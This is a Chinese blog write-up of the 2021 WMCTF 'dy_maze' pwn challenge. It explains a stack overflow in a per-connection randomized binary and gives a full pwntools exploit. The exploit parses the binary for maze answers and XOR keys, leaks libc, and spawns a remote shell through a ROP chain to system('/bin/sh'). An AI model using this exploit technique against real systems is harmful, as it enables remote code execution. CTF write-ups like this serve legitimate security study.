2021-WMCTF-dy_maze

文件

链接:https://pan.baidu.com/s/1oQsVgSAd7tK1Pmrdd6Hvmg
提取码:j60k

Introduction

nc 之后服务器会要求用做工作量证明,做完后返回一段 Base64 加密后的数据,解密后经过两次解压即可得到文件。但是,每次 nc 返回的数据都不太一样,也就是说每次的文件都有点不同。

比赛时的截图

程序一开始要求输入 80 个数,这 80 个数要能绕过 80 个函数的检查,才能进入 ok_success() 流程,这里面有一个明显的栈溢出漏洞。

__int64 ok_success()
{
  __int64 result; // rax
  int s; // [rsp+0h] [rbp-20h] BYREF
  int i; // [rsp+4h] [rbp-1Ch]
  unsigned int v3; // [rsp+8h] [rbp-18h]
  char v4[20]; // [rsp+Ch] [rbp-14h] BYREF

  memset(&s, 0, 0x1CuLL);
  puts("Ooooooh! Good!!!!!");
  i = 0;
  printf("Your name length: ");
  s = read_num();
  if ( s <= 0 )
    wrong();
  printf("Input your name: ");
  v3 = read(0, v4, s);
  for ( i = 0; ; ++i )
  {
    result = v3;
    if ( i >= (int)v3 )
      break;
    if ( !success_tmp )
      v4[i] ^= 0x1Au;
    if ( success_tmp == 1 )
      v4[i] ^= 8u;
    if ( success_tmp == 2 )
      v4[i] ^= 0x4Au;
    if ( success_tmp == 3 )
      v4[i] ^= 0x18u;
    if ( success_tmp == 4 )
      v4[i] ^= 0xEu;
    success_tmp = (success_tmp + 1) % 5;
  }
  return result;
}

但是,由于每次的程序都是变动的,因此输入的 80 个数,包括之后对栈溢出的 payload 的 5 个异或值,都会相应地变化,所以需要对程序进行一些字节层面的分析。
最后还有一个点:该程序用到的 libc 执行时有一个 xmm0 指令要求栈上某个单元的地址值对齐 16byte,所以我们可能需要在 ROP 中加入适量的 ret 来绕过对齐检查。(详见 http://blog.eonew.cn/archives/958

exp

from pwn import *
#from LibcSearcher import *
import commands
import os
import base64
import time

starts = time.time()
context.log_level = "debug"
context.arch = "amd64"
codebase = 0x400000

sh = remote("47.104.169.32", 44212)

# ======== cal pow.py ========
sh.recvuntil("You can run the solver with:\n")
sh.recvuntil("solve ")
comd = sh.recvuntil('\n', drop=True)
comd = "python3 pow.py solve " + comd
(status, output) = commands.getstatusoutput(comd)
ind = output.find("s.")
tans = output[ind:]
sh.sendline(tans)

# ======== get file ========
sh.recvuntil("==== Binary Download Start ====\n")
now_file = sh.recvuntil('\n', drop=True)
now_file = base64.b64decode(now_file)
f = open("tfile.bz2","wb")
f.write(now_file)
f.close()
os.system("bzip2 -d tfile.bz2")
os.system("tar -xf tfile -O > main")

# ======== analyze file ========
def read_into_buffer(filename):
    buf = bytearray(os.path.getsize(filename))
    with open(filename, 'rb') as f:
        f.readinto(buf)
    f.close()
    return buf
raw = read_into_buffer("main")
#raw_len = len(raw)

def fffind(pos):
    # find add eax,1
    biao1 = [0x00,0x83,0xc0,0x01,0x89,0x05]
    
    while(1):
       flag=1
       for i in range(6):
           if(raw[pos+i]!=biao1[i]):
               flag=0
               pos=pos+i+1
               break
       if(flag==1):
           break
    
    # find number
    newnum=0
    biao2 = [0x83,0x7d,0xfc]
    biao3 = 0x75
    tpos=pos
    while(1):
        flag=1
        if(raw[tpos+1]!=biao3):
            tpos-=1
            continue

        for i in range(3):
            if(raw[tpos-i-1]!=biao2[2-i]):
                flag=0
                break
        if(flag==1):
            newnum=raw[tpos]
            break
        tpos-=1
   
    return newnum
        
elf = ELF("./main")
ans = []
for i in range(80):
    now_pos = elf.symbols["maze_"+str(i+1)]-codebase
    new_num=fffind(now_pos)
    ans.append(new_num)

for i in range(80):
    sh.sendline(str(ans[i]))

puts_plt = elf.plt["puts"]
read_got = elf.got["read"]
fun_addr = elf.symbols["ok_success"]
main_addr = elf.symbols["main"]

success_tmp = 0
tab = []

biao_f=[0x8b, 0x45, 0xe4, 0x83, 0xf2]
now = fun_addr - codebase
while(len(tab)<5):
    flag=1
    for i in range(5):
        if(raw[now+i]!=biao_f[i]):
            flag=0
            now=now+i+1
            break
    if(flag==1):
        tab.append(raw[now+5])
        now=now+6

rop = ROP("./main")
rop.raw('a'*(0x14+8))
rop.puts(read_got)
rop.raw(fun_addr)
print(rop.dump())
rop_s = rop.__bytes__()
slen = len(rop_s)
payload = ""
for i in range(slen):
    payload += chr(tab[success_tmp]^ord(rop_s[i]))
    success_tmp = (success_tmp+1)%5

sh.recvuntil("Your name length: ")
sh.sendline(str(slen))
sh.recvuntil("Input your name: ")
sh.send(payload)

read_addr = u64(sh.recv(6).ljust(8, '\x00'))
print("read_addr = " + hex(read_addr))

"""
libcbase = read_addr - 0x110140
system = 0x4f550 + libcbase
binsh = 0x1b3e1a + libcbase
pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
ret = elf.search(asm("ret")).next()

rop_s = 'a'*(0x14+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
slen = len(rop_s)
payload = ""
"""

# libc2.27-3
libcbase = read_addr - 0x110140
system = 0x4f550 + libcbase
binsh = 0x1b3e1a + libcbase
ret = elf.search(asm("ret")).next()

rop = ROP("./main")
rop.raw('a'*(0x14+8))
rop.raw(ret)  # 这里加个 ret 对齐一下栈
rop.call(system, [binsh])
print(rop.dump())
rop_s = rop.__bytes__()
slen = len(rop_s)
payload = ""

success_tmp = 0
for i in range(slen):
    payload += chr(tab[success_tmp]^ord(rop_s[i]))
    success_tmp = (success_tmp+1)%5

sh.recvuntil("Your name length: ")
sh.sendline(str(slen))
sh.recvuntil("Input your name: ")
sh.send(payload)

#sh.sendline("cat flag")
ends = time.time()

print("cost_time = " + str(ends-starts))

sh.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 关于Mongodb的全面总结 MongoDB的内部构造《MongoDB The Definitive Guide》...
    中v中阅读 32,241评论 2 89
  • ​ 思路流程: 信息收集 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 网站指纹识别(包括,c...
    黑战士安全阅读 1,506评论 0 4
  • [TOC] 有状态 VS 无状态 几乎绝大部分的应用都需要实现认证与授权,例如用户使用账户密码登录就是一个认证过程...
    端碗吹水阅读 2,641评论 0 24
  • 我是黑夜里大雨纷飞的人啊 1 “又到一年六月,有人笑有人哭,有人欢乐有人忧愁,有人惊喜有人失落,有的觉得收获满满有...
    陌忘宇阅读 8,782评论 28 54
  • 人工智能是什么?什么是人工智能?人工智能是未来发展的必然趋势吗?以后人工智能技术真的能达到电影里机器人的智能水平吗...
    ZLLZ阅读 4,070评论 0 5

友情链接更多精彩内容